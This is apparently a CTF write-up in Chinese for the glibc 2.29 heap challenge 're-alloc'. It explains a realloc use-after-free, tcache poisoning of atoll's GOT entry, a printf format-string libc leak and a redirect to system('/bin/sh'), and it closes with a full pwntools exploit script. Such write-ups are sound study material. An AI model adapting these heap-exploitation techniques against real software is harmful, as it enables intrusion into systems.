题目分析

1
2
3
4
5
6
Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
FORTIFY:  Enabled

是一个典型的菜单类程序

1
2
3
4
5
6
7
8
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
🍊      RE Allocator      🍊
$$$$$$$$$$$$$$$$$$$$$$$$$$$$
$   1. Alloc               $
$   2. Realloc             $
$   3. Free                $
$   4. Exit                $
$$$$$$$$$$$$$$$$$$$$$$$$$$$
  1. Alloc: index只能取0或1;size必须<=0x78;然后使用realloc(0, size)分配,通过源码可以看出,这就相当于malloc(size)。这里存在null byte overflow(然而没什么用似乎,一开始我一直卡在这里想如何利用,完全没注意到后一个漏洞。。。
1
2
3
/* realloc of null is supposed to be same as malloc */
if (oldmem == 0)
    return __libc_malloc (bytes);
  1. Realloc: size同样<=0x78。realloc有几种情况:请求大小自己可以满足;尝试向后扩展(top chunk或!inuse (next));__int_malloc请求新块。(这里存在UAF,输入size为0
  2. Free:realloc(ptr, 0)相当于free(ptr),同时将指针数组置空。
1
2
3
4
if (bytes == 0 && oldmem != NULL)
{
    __libc_free (oldmem); return 0;
}

libc_version: glibc 2.29 with tcache。该版本libc的源码。下一篇文章说一下如何确定的libc版本,如何确定的有tcache,以及如何使用指定libc运行程序。

此外,这个版本中出现了对tcache double free的一个检查机制

总体思路

用类似fastbin attack的方式伪造tcache,将atoll_got放入到两个大小的tcache链表上。

第一次利用其中一个将期修改为printf_got,在read_long中构造format string vulnerability,泄露栈上的__libc_start_main地址,也就是main函数的返回地址。

第二次将atoll_got修改为system地址,输入/bin/sh执行。

伪造tcache chunk

只要满足以下条件就会使用tcache,可以发现并没有对counts进行检查,只要非空就会进行分配。同样tcache_get里也只是--(tcache->counts[tc_idx]),没有检查。

1
2
3
4
5
6
7
if (tc_idx < mp_.tcache_bins
      /*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */
      && tcache
      && tcache->entries[tc_idx] != NULL)
{
      return tcache_get (tc_idx);
}

伪造

1
2
3
4
5
6
7
8
allocate(0, 0x18, "A")
realloc(0, 0, "")                 # free
realloc(0, 0x18, p64(atoll_got))  # 修改next
allocate(1, 0x18, "A")            # 重新分配出来,使得atoll_got打头,此时counts=0,但并不妨碍
realloc(0, 0x28, "A")             # 使其向后扩展,从top chunk中切割
free(0)                           # 第一次放进0x30 tcache
realloc(1, 0x28, "A"*0x10)        # 覆盖key,绕过double free检查
free(1)                           # 第二次放进0x30 tcache

用同样的方法,再伪造一个

get shell

atoll_got修改为printf_plt,构造format string vulnerability

1
2
3
4
5
allocate(0, 0x18, p64(printf_plt))        # 修改atoll_got为printf_plt
io.sendlineafter("Your choice: ", "1")
io.sendlineafter("Index:", "Z%23$llx\n")  # 泄露 __libc_start_main
io.recvuntil("Z")
libc_base = int(io.recvline().strip(b"\n"), 16) - 0x26B6B

修改atoll_got为system,get shell

1
2
3
4
5
6
7
8
io.sendlineafter("Your choice: ", "1")
# gdb.attach(io, "b read_long")
io.sendlineafter("Index:", "A\x00")       # 相当于输入1
io.sendlineafter("Size:", "%55x")         # 相当于输入0x38
io.sendlineafter("Data:", p64(system_addr))

io.sendlineafter("Your choice: ", "1")
io.sendlineafter("Index:", "/bin/sh")

exploit

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python3

from pwn import *

context(os="linux", arch="amd64", log_level="debug")
localfile = "./re-alloc"
locallibc = "libc.so.6"
pf      = lambda name,num           :log.info(name + ": 0x%x" % num)
g       = lambda x                  :next(libc.search(asm(x)))

def allocate(idx, size, data):
    io.recvuntil("Your choice: ")
    io.sendline("1")
    io.recvuntil("Index:")
    io.sendline(str(idx))
    io.recvuntil("Size:")
    io.sendline(str(size))
    io.recvuntil("Data:")
    io.send(data)

def realloc(idx, size, data):
    io.recvuntil("Your choice: ")
    io.sendline("2")
    io.recvuntil("Index:")
    io.sendline(str(idx))
    io.recvuntil("Size:")
    io.sendline(str(size))
    if size != 0:
        io.recvuntil("Data:")
        io.send(data)

def free(idx):
    io.recvuntil("Your choice: ")
    io.sendline("3")
    io.recvuntil("Index:")
    io.sendline(str(idx))

def exp():
    atoll_got = elf.got["atoll"]
    printf_plt = elf.plt["printf"]
    system_off = libc.sym["system"]

    allocate(0, 0x18, "A")
    realloc(0, 0, "")
    realloc(0, 0x18, p64(atoll_got))
    allocate(1, 0x18, "A")
    realloc(0, 0x28, "A")
    free(0)
    realloc(1, 0x28, "A"*0x10)
    free(1)

    allocate(0, 0x38, "A")
    realloc(0, 0, "")
    realloc(0, 0x38, p64(atoll_got))
    allocate(1, 0x38, "A")
    realloc(0, 0x48, "A")
    free(0)
    realloc(1, 0x48, "A"*0x10)
    free(1)

    allocate(0, 0x18, p64(printf_plt))
    io.sendlineafter("Your choice: ", "1")
    io.sendlineafter("Index:", "Z%23$llx\n")
    io.recvuntil("Z")
    libc_base = int(io.recvline().strip(b"\n"), 16) - 0x26B6B
    pf("libc base", libc_base)
    system_addr = libc_base + system_off

    io.sendlineafter("Your choice: ", "1")
    # gdb.attach(io, "b read_long")
    io.sendlineafter("Index:", "A\x00")
    io.sendlineafter("Size:", "%55x")
    io.sendlineafter("Data:", p64(system_addr))

    io.sendlineafter("Your choice: ", "1")
    io.sendlineafter("Index:", "/bin/sh")
    
    io.interactive()

argc = len(sys.argv)
if argc == 1:
    io = process(localfile)
else:
    if argc == 2:
        host, port = sys.argv[1].split(":")
    elif argc == 3:
        host = sys.argv[1]
        port = sys.argv[2]
    io = remote(host, port)

elf = ELF(localfile)
libc = ELF(locallibc)
exp()

reference

  1. https://n0nop.com/2020/03/06/pwn-heap-re-alloc/